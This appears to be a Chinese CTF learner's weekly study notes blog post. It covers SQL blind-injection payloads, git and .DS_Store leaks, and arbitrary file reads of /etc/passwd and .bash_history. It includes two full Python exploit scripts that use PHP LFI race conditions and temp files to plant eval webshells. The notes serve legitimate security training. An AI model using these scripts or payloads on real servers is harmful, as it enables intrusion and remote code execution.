2023 10月8日 至 10 月16日学习总结

1.做的题目

[RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客

[NCTF2019]SQLi regexp 盲注-CSDN博客

[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客

PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

[NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客

Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客

2.知识点

参数爆破

首先就是对网站进行基本的信息收集 但是备份,扫描,抓包

都没有效果的时候可以进行参数爆破

通过工具 arjun可以爆破

复制代码
arjun -u url  -m GET  -c 100 -d 5

这里是通过慢速 来实现爆破 100个一组 延迟时间为 5 

SQL正则盲注 regexp

sql题一般我先进行fuzz 然后进行测试注入

这里给出一个知识点

转义符 \ 构造闭合

复制代码
select * from username = '\' and password = '';

这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上

这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'


select * from username = '\' and password = '#'

这个时候 字符串 ' and password  就被外面两个 ' 闭合了

所以我们构造 ||1 就可以变为


'\' and password = '||1#'

这里大家直接去phpmyadmin尝试即可

绕过空格

/**/ 或者 %09

都可以

正则盲注

这里放出了正则和 ^

原理是

复制代码
假设我的表名为admin

select * from username = '\' and password = ' || password regexp "^a"


后面的 "^a"  是开头为 a 的就返回 true 所以我们可以进行盲注

这里还需要00截断后面的引号

但是我们盲注需要通过python 所以这里也介绍一下python的库

python库

复制代码
首先是 string

这里我们就不需要指定 37-128

直接通过这个库就可以将可打印的字符输出

然后就是-00截断的库

复制代码
from urllib import parse

这个库是url编码


a = parse.unquote('%00')

这里就是post的url编码后的00截断

GIT泄露

首先通过扫描可以发现存在git泄露

然后通过工具实现

https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator

然后发现存在的代码是出错的

这里就可以通过 .git文件来恢复数据

GIT数据恢复

复制代码
首先查看日志


git log -all

然后通过指定就可以恢复成以前的代码


git reset --hard 字符

二次注入的危险函数

复制代码
addslashes 将输入转变为字符串 原封不动存入数据库

这里的注入闭合 文章里面写的比较详细了 大家去看就可以了

任意文件读取

做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好

复制代码
/proc/self/environ
/proc/self/cmdline

/etc/passwd 查看存在的用户

/home/用户/.bash_history 查看该用户的历史命令

.DS_Store泄露

获取内容了 因为 .DS_Store 存在很多不可见字符

所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出

然后通过工具Python-dsstore-master

来解密获取

PHP LFI getshell

这里确实学到了很多东西

这里的前提都是存在文件包含

存在phpinfo()

如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马

这个时候我们上传的临时文件就会保存在 临时文件目录下

并且通过linux和win的命名规则存储

我们只需要去包含 就会生成木马

这里只需要通过条件竞争即可

复制代码
#!/usr/bin/python3
import sys
import threading
import socket
 
 
def setup(host, port):
    TAG = "安全测试"
    PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)
 
 
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
    s.connect((host, port))
    s2.connect((host, port))
 
    s.send(phpinforeq.encode())
    d = b""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index(b"[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None
 
    s2.send((lfireq % (fn.decode(), host)).encode())
    d = s2.recv(4096)
    s.close()
    s2.close()
 
    if d.find(tag.encode()) != -1:
        return fn.decode()
 
 
counter = 0
 
 
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
 
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1
 
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\n成功!Shell已创建在 /tmp/shell")
                    self.event.set()
 
            except socket.error:
                return
 
 
def getOffset(host, port, phpinforeq):
    """获取php输出中tmp_name的偏移量"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq.encode())
 
    d = b""
    while True:
        i = s.recv(4096)
        d += i
        if i == b"":
            break
        # detect the final chunk
        if i.endswith(b"0\r\n\r\n"):
            break
    s.close()
    i = d.find(b"[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("在phpinfo输出中未找到php tmp_name")
 
    print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))
    # 加一些填充
    return i + 256
 
 
def main():
    print("LFI With PHPInfo()")
    print("-=" * 30)
 
    if len(sys.argv) < 2:
        print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])
        sys.exit(1)
 
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        sys.exit(1)
 
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10
 
    phpinforeq, tag, lfireq = setup(host, port)
    offset = getOffset(host, port, phpinforeq)
 
    print("\n[*] 开始进行LFI攻击...")
    threads = []
    e = threading.Event()
    l = threading.Lock()
 
    try:
        for i in range(numthreads):
            t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)
            threads.append(t)
            t.start()
 
        while not e.is_set():
            try:
                e.wait(1)
            except KeyboardInterrupt:
                print("\n[*] 收到中断信号,正在停止攻击...")
                e.set()
 
    except socket.error as e:
        print("连接错误:%s" % str(e))
 
    for t in threads:
        t.join()
 
    print("\n[*] 攻击结束。")
 
 
if __name__ == "__main__":
    main()

大家还是读读上面代码 也能学到内容

PHP7 Segment Falut

首先是 php7 的一个漏洞

复制代码
通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除


php://filter/sring.strip_tags
存在dir类型的页面

我们只需要去包含里面的漏洞文件即可

不存在dir类型页面

通过爆破实现即可

下面是存在dir页面的时候的脚本

复制代码
# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO
 
# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"
 
# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}
 
# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)
 
# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)
 
# 构建命令
data = {
    1: "system('dir');"
}
 
# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)
 
# 输出结果
print u"目录列表:\n{}".format(req3.text)

SESSION LIF getshell

HAVE SESSION

一样 需要存在文件包含漏洞

这里是通过session 用户会话getshell

首先我们发送存在session的包的时候 会在session存储位置保存着session文件

取名是为 sess_输入

复制代码
Cookie: PHPSESSID=输入

一般处理会话 要么是通过 原始输入 要么就是通过序列化输入

如果不对用户会话文件进行处理 那么我们只需要写入一句话即可

如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可

记住要过滤掉特殊字符

NO SESSION

当session没有开启的时候

我们可以通过php的特性 文件上传的时候

传递

复制代码
session.upload_progress.name:<?php phpinfo();?>

这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件

这里的流程图为

复制代码
文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容

这里去看原本的文章更加详细

SQL过滤许多的盲注

这道题确实过滤了巨多东西

这里的知识点

方法一

复制代码
select substr('flag',1)---->flag

select substr('flag',2)---->lag

然后我们只需要两次substr 并且倒装输出即可

select reverse(substr('flag',1)) ---->galf

select substr(reverse(substr('flag',1)),4)----->f


select substr(reverse(substr('flag',1)),3)----->fl

然后盲注过滤了 = 号 我们可以通过 <> 不等号实现

复制代码
1 <> 1 返回false

1 <> 2 返回 true

因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可

方法二

通过 减去 来实现

复制代码
a'or((ascii(substr((select(password))from(1)))-48))--

这里也是因为 过滤了 = 号

这里也推荐大家去看上面文章 写的详细 这里只是简单的记录

3.不足

这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到

4.下一周计划

专心准备比赛

相关推荐
西岸行者5 天前
学习笔记:SKILLS 能帮助更好的vibe coding
笔记·学习
悠哉悠哉愿意5 天前
【单片机学习笔记】串口、超声波、NE555的同时使用
笔记·单片机·学习
别催小唐敲代码5 天前
嵌入式学习路线
学习
毛小茛5 天前
计算机系统概论——校验码
学习
babe小鑫5 天前
大专经济信息管理专业学习数据分析的必要性
学习·数据挖掘·数据分析
winfreedoms5 天前
ROS2知识大白话
笔记·学习·ros2
在这habit之下5 天前
Linux Virtual Server(LVS)学习总结
linux·学习·lvs
我想我不够好。5 天前
2026.2.25监控学习
学习
im_AMBER5 天前
Leetcode 127 删除有序数组中的重复项 | 删除有序数组中的重复项 II
数据结构·学习·算法·leetcode
CodeJourney_J5 天前
从“Hello World“ 开始 C++
c语言·c++·学习